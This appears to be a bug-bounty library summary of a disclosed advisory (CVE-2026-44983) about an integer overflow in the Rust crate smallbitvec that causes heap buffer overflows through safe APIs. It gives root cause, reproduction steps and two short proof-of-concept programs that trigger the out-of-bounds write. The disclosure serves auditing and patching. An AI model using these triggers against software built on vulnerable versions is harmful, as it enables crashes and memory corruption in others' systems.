# smallbitvec: Integer overflow in safe API leads to heap buffer overflow

Integer overflow in smallbitvec's buffer_len capacity math wraps in release builds, undersizing the heap allocation so safe APIs like set/push/reserve write out of bounds.

- Payout: Research
- Severity: high
- Program: smallbitvec
- Found by: ksj1230
- Disclosed: 2026-05-09
- CVE: CVE-2026-44983
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-97wc-2hqc-cjgr
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-97wc-2hqc-cjgr
- Tags: area:oss domain:oss impact:dos impact:integrity kind:research platform:ghsa sev:high tech:rust technique:source-review vuln:memory-corruption

**Target:** Rust crate smallbitvec internal buffer_len capacity helper
**Root cause:** Unchecked `(cap + bits_per_storage() - 1) / bits_per_storage()` overflows when cap is near usize::MAX; release-mode wrapping yields a tiny buffer_len, so allocation is undersized while metadata records the huge capacity.
**Steps:**
1. Build in release with `RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release`.
2. Call `SmallBitVec::from_elem(usize::MAX, false)` to trigger overflow in buffer_len(cap).
3. Call `v.set(0, true)`; internal unsafe indexing uses corrupted len/cap and writes out of bounds.
4. Alternate trigger: `v.push(true); v.reserve(usize::MAX - 10);` overflows capacity computation.
**How found:** Code review of the internal capacity helper spotted unchecked addition near usize::MAX combined with Rust's wrapping overflow semantics in optimized builds, then confirmed via from_elem and reserve PoCs under ASAN/Miri.
**Exploitation:** No weaponization described; PoCs demonstrate ASAN heap-buffer-overflow and Miri UB from safe-only code with #![forbid(unsafe_code)].
**Insight:** In Rust, release builds wrap integer overflow silently; audit size/capacity arithmetic like `(n + b - 1) / b` in crates that expose safe APIs over unsafe internals, and test with usize::MAX inputs under ASAN/Miri.

## Proof of concept (copied exactly from the original report)

**PoC out-of-bounds write via from_elem**

```
#![forbid(unsafe_code)]

use smallbitvec::SmallBitVec;

fn main() {
    // Triggers overflow in buffer_len(cap)
    let mut v = SmallBitVec::from_elem(usize::MAX, false);

    // Logical length is large, but backing storage is undersized
    // This leads to out-of-bounds write in unsafe internals
    v.set(0, true);
}
```

**PoC overflow via reserve**

```
#![forbid(unsafe_code)]

use smallbitvec::SmallBitVec;

fn main() {
    let mut v = SmallBitVec::new();
    v.push(true);

    // Triggers overflow in capacity computation
    v.reserve(usize::MAX - 10);
}
```

